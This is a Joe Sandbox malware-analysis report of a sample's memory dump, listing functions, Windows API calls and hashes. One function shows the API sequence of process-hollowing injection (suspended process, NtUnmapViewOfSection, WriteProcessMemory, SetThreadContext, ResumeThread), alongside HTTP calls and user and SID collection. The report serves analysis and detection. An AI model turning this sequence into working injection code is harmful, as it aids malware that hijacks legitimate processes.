Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction ID: e6cce40d5e06437805f8ce5a11ab076b964048550aaf45ad3f17050e05a01ade
Opcode Fuzzy Hash: bbfaf170cd2aa4a5dd4654b786cba334a1d7a93fa1ef5963fa5f0812df2330b2
Instruction Fuzzy Hash: 5E014972614317ABC322DF9DD88599AFBDCEB153B0F46062EE955A76C0E7706800C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 01222621 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 01222684

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction ID: 5ccbcd6c559340f788794dcca1b1903e29dd84b6743c177613d71b7c34c678a4
Opcode Fuzzy Hash: 6d7cabbe3305cb9b6d011bf0e9d56addc9b4860a8407226052aa3c61f76cc774
Instruction Fuzzy Hash: 63014F72C1115AFFCF11AFA89C01AFE7FF5AF18210F144565EA14E2190E6328A60DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0121F925 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0121E0E6,00000001,00000364,00000006,000000FF,?,?,01218272,?), ref: 0121F966

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 17c93dc7b6bcaf7160f85efe15a63fdd76acee559ad60ba961dd4153f3f644c5
Instruction ID: 0b8e6e231d3f932f40be920d5f272383c20d8dc10daef3d849d74fbf71a02874
Opcode Fuzzy Hash: 17c93dc7b6bcaf7160f85efe15a63fdd76acee559ad60ba961dd4153f3f644c5
Instruction Fuzzy Hash: D4F0E03157522676EB26FA3A9E0576B3BDAAF71770B054512DE34D718CCA30D8058AE0

Uniqueness

Uniqueness Score: -1.00%

Function 0121DB3C Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,01218272,?,?,?,?,?,012020C3,?,?), ref: 0121DB6E

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2853472e2361ec52a51aa03c1e8eb1090aefc8a8d2ba3aa12aecd89856569c11
Instruction ID: 009f3dd964a8aeb248f6ef9926a8252406d147723f8c39315e5cc47fe3b1435d
Opcode Fuzzy Hash: 2853472e2361ec52a51aa03c1e8eb1090aefc8a8d2ba3aa12aecd89856569c11
Instruction Fuzzy Hash: 2BE0EC3517011BE7EA3195E99C0CB6B3AD8BB712B0F050120DE17971CCEB50D90082E5

Uniqueness

Uniqueness Score: -1.00%

Function 01222368 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,01222758,?,?,00000000,?,01222758,00000000,0000000C), ref: 01222385

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a3c97456a7442d61044b44ee0e5984786f464c97a18fe15ba67fba5d4a1cee71
Instruction ID: 9a868948283d05d4ba1effe70b67d3353e6939ceb785daa04b517665dbd3d133
Opcode Fuzzy Hash: a3c97456a7442d61044b44ee0e5984786f464c97a18fe15ba67fba5d4a1cee71
Instruction Fuzzy Hash: 58D06C3200010DBBDF228E84ED46EDA3FAAFB48714F114010FA1856020C732E821AB91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 012038C0 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 163injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 012038E6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0120394B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 01203964
GetThreadContext.KERNEL32(?,00000000), ref: 0120397F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 012039A3
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 012039BE
GetProcAddress.KERNEL32(00000000), ref: 012039C5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 012039ED
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 01203A0E
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000), ref: 01203A5A
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000), ref: 01203A96
SetThreadContext.KERNEL32(?,00000000,?,?,00000000), ref: 01203AB2
ResumeThread.KERNEL32(?,?,?,00000000), ref: 01203ABE
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000), ref: 01203ACC
VirtualFree.KERNEL32(?,00000000,00008000), ref: 01203AED

Strings

ntdll.dll, xrefs: 012039B9
NtUnmapViewOfSection, xrefs: 012039B4
, xrefs: 01203998

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: $NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1522589568
Opcode ID: 162e977cc0f8ed410cc21e00a7790ecdd03804bca888ea367f439c9e49ce2208
Instruction ID: 5e03b8fe35b041eb9ad09129f07cb64fd09ce92141bc849e94e0e72dc25bb6ff
Opcode Fuzzy Hash: 162e977cc0f8ed410cc21e00a7790ecdd03804bca888ea367f439c9e49ce2208
Instruction Fuzzy Hash: FD515B70A40218AFEB319F54EC49FEAB7B4FF08701F100095F649AA281D776AA91DF54

Uniqueness

Uniqueness Score: -1.00%

Function 012086E2 Relevance: 13.8, APIs: 9, Instructions: 341networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(01233F6C,00000000,00000000,00000000,00000000), ref: 0120871C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 01208740
HttpOpenRequestA.WININET(?,00000000), ref: 0120878A
HttpSendRequestA.WININET(?,00000000), ref: 0120884A
InternetReadFile.WININET(?,?,000003FF,?), ref: 012088FC
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 012089B0
InternetCloseHandle.WININET(?), ref: 012089D7
InternetCloseHandle.WININET(?), ref: 012089DF
InternetCloseHandle.WININET(?), ref: 012089E7

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: 125de1ceeee4ea77ec5bd4c96c44f8c7b07f62b962ea3d55de3696ddaed51579
Instruction ID: 23f09063a16689dee1b7e1d77c81031492cf36f01beba94f7a563715cc2b383d
Opcode Fuzzy Hash: 125de1ceeee4ea77ec5bd4c96c44f8c7b07f62b962ea3d55de3696ddaed51579
Instruction Fuzzy Hash: 23C108B0A201189BDB29DF28CC88BEE7F75EF51314F544298E608972D6DB719AC0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01223C76 Relevance: 7.9, APIs: 5, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01223CF8
_free.LIBCMT ref: 01223D1C
_free.LIBCMT ref: 01223EA9
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,01232620), ref: 01223EBB
_free.LIBCMT ref: 01224075

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: 2e7c8f9af18087797003aa9ec1915aedbd9df9f34fd5d530a76ec749424f1ee9
Instruction ID: d8401c85d2b3a9aa9d957120ee5f6780ba3847f4208fef07cbd7a103a61ead38
Opcode Fuzzy Hash: 2e7c8f9af18087797003aa9ec1915aedbd9df9f34fd5d530a76ec749424f1ee9
Instruction Fuzzy Hash: 5FC15871A20266BFDB25DF6DD844ABEBBF9FF59350F1400A9D680DB241E7788A01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01217AFC Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 01217B12

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 25f4e96ee77054385f1220d7d2becf7e9c8b6bffbda62aecb891e765584f47f0
Instruction ID: 676cdb164cab37b333ba97a27a63464344f8fb54255762234395248366a0c38c
Opcode Fuzzy Hash: 25f4e96ee77054385f1220d7d2becf7e9c8b6bffbda62aecb891e765584f47f0
Instruction Fuzzy Hash: BD51A47191021ACFEF35CF69E5853AABBF0FB54314F248A69D602EB348D3B59941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0121CFB2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dd18e236bff778ebfac104873e99183c47078571e48966eb6fb82665c9afe8
Instruction ID: 56f3fd00e43d7eb07b5cbb1c92310f6be0fd7c7a496167948dd7d49eb5dd5655
Opcode Fuzzy Hash: 38dd18e236bff778ebfac104873e99183c47078571e48966eb6fb82665c9afe8
Instruction Fuzzy Hash: 6FE08C72961228EBCB15DF8CC9049AAF7ECEB48A40B150096B601D3100C270DE00C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 012030E0 Relevance: 27.2, APIs: 18, Instructions: 210memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 01203132
GetProcessHeap.KERNEL32(00000008,?), ref: 01203147
HeapAlloc.KERNEL32(00000000), ref: 0120314A
GetUserNameW.ADVAPI32(00000000,?), ref: 01203158
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 0120317B
GetProcessHeap.KERNEL32(00000008,?), ref: 01203186
HeapAlloc.KERNEL32(00000000), ref: 01203189
GetProcessHeap.KERNEL32(00000008,?), ref: 01203199
HeapAlloc.KERNEL32(00000000), ref: 0120319C
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 012031C6
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 012031D9
GetProcessHeap.KERNEL32(00000000,?), ref: 012032D5
HeapFree.KERNEL32(00000000), ref: 012032DE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 012032E3
HeapFree.KERNEL32(00000000), ref: 012032E6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 012032ED
HeapFree.KERNEL32(00000000), ref: 012032F0
LocalFree.KERNEL32(00000000), ref: 012032F5

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: a210dd5ff76c83f69fb08138c37c616d66a91136c91d433eaf652a7e758fcfd8
Instruction ID: b4897b50b151e1e523aefccfbd9e8b29dfb30bf42601be19eeb58d299d432365
Opcode Fuzzy Hash: a210dd5ff76c83f69fb08138c37c616d66a91136c91d433eaf652a7e758fcfd8
Instruction Fuzzy Hash: B97152B1D10249AFDB25DFA9DC88BEFBBB8FF48310F004529E905A7285DB749905CB61

Uniqueness

Uniqueness Score: -1.00%

Function 012216C1 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 01221705

Part of subcall function 0122129E: _free.LIBCMT ref: 012212BB
Part of subcall function 0122129E: _free.LIBCMT ref: 012212CD
Part of subcall function 0122129E: _free.LIBCMT ref: 012212DF
Part of subcall function 0122129E: _free.LIBCMT ref: 012212F1
Part of subcall function 0122129E: _free.LIBCMT ref: 01221303
Part of subcall function 0122129E: _free.LIBCMT ref: 01221315
Part of subcall function 0122129E: _free.LIBCMT ref: 01221327
Part of subcall function 0122129E: _free.LIBCMT ref: 01221339
Part of subcall function 0122129E: _free.LIBCMT ref: 0122134B
Part of subcall function 0122129E: _free.LIBCMT ref: 0122135D
Part of subcall function 0122129E: _free.LIBCMT ref: 0122136F
Part of subcall function 0122129E: _free.LIBCMT ref: 01221381
Part of subcall function 0122129E: _free.LIBCMT ref: 01221393

_free.LIBCMT ref: 012216FA

Part of subcall function 0121D653: HeapFree.KERNEL32(00000000,00000000,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?), ref: 0121D669
Part of subcall function 0121D653: GetLastError.KERNEL32(?,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?,?), ref: 0121D67B

_free.LIBCMT ref: 0122171C
_free.LIBCMT ref: 01221731
_free.LIBCMT ref: 0122173C
_free.LIBCMT ref: 0122175E
_free.LIBCMT ref: 01221771
_free.LIBCMT ref: 0122177F
_free.LIBCMT ref: 0122178A
_free.LIBCMT ref: 012217C2
_free.LIBCMT ref: 012217C9
_free.LIBCMT ref: 012217E6
_free.LIBCMT ref: 012217FE

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 35ea17f8507beeed58743e65c5bb28e2ffab85caeea71ac9e56b25ba6be7781d
Instruction ID: 321844a25d18bdee5ba5ac957523f359892af832ab53ddd1e61d6d5611a9cc7e
Opcode Fuzzy Hash: 35ea17f8507beeed58743e65c5bb28e2ffab85caeea71ac9e56b25ba6be7781d
Instruction Fuzzy Hash: 1C318231A2031AEFEB25AE7CE844F6A77E9EF50650F10881AE65CD7190DF70E990C714

Uniqueness

Uniqueness Score: -1.00%

Function 01218BC7 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 01218CC2
type_info::operator==.LIBVCRUNTIME ref: 01218CE9
___TypeMatch.LIBVCRUNTIME ref: 01218DF5
IsInExceptionSpec.LIBVCRUNTIME ref: 01218ED0
_UnwindNestedFrames.LIBCMT ref: 01218F57
CallUnexpected.LIBVCRUNTIME ref: 01218F72

Strings

csm, xrefs: 01218C6F
csm, xrefs: 01218D20
csm, xrefs: 01218C02

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: d8420efc8bfad237c63643b2094aaaab5c195ab6ede81e28f71acf3beaeb5e1f
Instruction ID: b3cdaf75c63031fe3c190832768693d8c7f0162d2c42a21e714f03f498ee5854
Opcode Fuzzy Hash: d8420efc8bfad237c63643b2094aaaab5c195ab6ede81e28f71acf3beaeb5e1f
Instruction Fuzzy Hash: DFC16C7182020AEFDF29DFA8C8C09AEBBF5BF34314F44455AEA116B219D731DA51CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0121DE2C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0121DE42

Part of subcall function 0121D653: HeapFree.KERNEL32(00000000,00000000,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?), ref: 0121D669
Part of subcall function 0121D653: GetLastError.KERNEL32(?,?,0122142F,?,00000000,?,?,?,01221456,?,00000007,?,?,01221858,?,?), ref: 0121D67B

_free.LIBCMT ref: 0121DE4E
_free.LIBCMT ref: 0121DE59
_free.LIBCMT ref: 0121DE64
_free.LIBCMT ref: 0121DE6F
_free.LIBCMT ref: 0121DE7A
_free.LIBCMT ref: 0121DE85
_free.LIBCMT ref: 0121DE90
_free.LIBCMT ref: 0121DE9B
_free.LIBCMT ref: 0121DEA9

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6adb38837d5ed9bf551679270c779d620e7a894842bd903b17d322bc8b5cddde
Instruction ID: fb74a292b325c3c64b264397d26797198795e76baf3edda8bc7d92e5db314cea
Opcode Fuzzy Hash: 6adb38837d5ed9bf551679270c779d620e7a894842bd903b17d322bc8b5cddde
Instruction Fuzzy Hash: B521B77691414DEFCB01EFD4D884DEE7BF8BF28640F0085A6E6199B124DB71EA84CB80

Uniqueness

Uniqueness Score: -1.00%

Function 01225642 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e120962bc5d3021f765e6163db77562ba838a3d3752cda1ba1342750051386f
Instruction ID: 4ff9c8c68af432f1aaa9aaf2945ff2ee53c5ac9577f8214dcb7c37f65d9998a8
Opcode Fuzzy Hash: 0e120962bc5d3021f765e6163db77562ba838a3d3752cda1ba1342750051386f
Instruction Fuzzy Hash: 35C10171E2425AAFDB25CF9CD884BFDBBB1AF5A310F048059E601A7381C7B49941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01220AD9 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 01220B03
_free.LIBCMT ref: 01220BDC
_free.LIBCMT ref: 01220C09

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: e3f4694f6eed2d41b91280b7823630c8403cff03872d6590d1edd35005d0172e
Instruction ID: f53ace9a1ec2c20980e0679507def07fbeaa87e99a9983e612d1b6954162914e
Opcode Fuzzy Hash: e3f4694f6eed2d41b91280b7823630c8403cff03872d6590d1edd35005d0172e
Instruction Fuzzy Hash: BA5130B0924367BFEB21AFA99888A6D7BF4AB15314F00456AFA1497281EE718140CB49

Uniqueness

Uniqueness Score: -1.00%

Function 01218570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 012185A7
___except_validate_context_record.LIBVCRUNTIME ref: 012185AF
_ValidateLocalCookies.LIBCMT ref: 01218638
__IsNonwritableInCurrentImage.LIBCMT ref: 01218663
_ValidateLocalCookies.LIBCMT ref: 012186B8

Strings

csm, xrefs: 0121864D

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 072af639818f7cd4eb62a615adf2a47c541e0d3fd4f46c635d7fd419825dbbb4
Instruction ID: b33d647d32e644997ba3579f490da0a3359de9d95f926deb96c390160ed22632
Opcode Fuzzy Hash: 072af639818f7cd4eb62a615adf2a47c541e0d3fd4f46c635d7fd419825dbbb4
Instruction Fuzzy Hash: DB41E134A2024AAFCF10DF68C8C4AAEBBE5EF64314F048555E9149B259D7319A41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0121E1FE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 0121E269
api-ms-, xrefs: 0121E255

Memory Dump Source

Source File: 0000000E.00000002.321481606.0000000001201000.00000020.00000001.01000000.00000009.sdmp, Offset: 01200000, based on PE: true

Associated: 0000000E.00000002.321470676.0000000001200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321590474.000000000122E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321618470.0000000001238000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.321626834.000000000123D000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1200000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
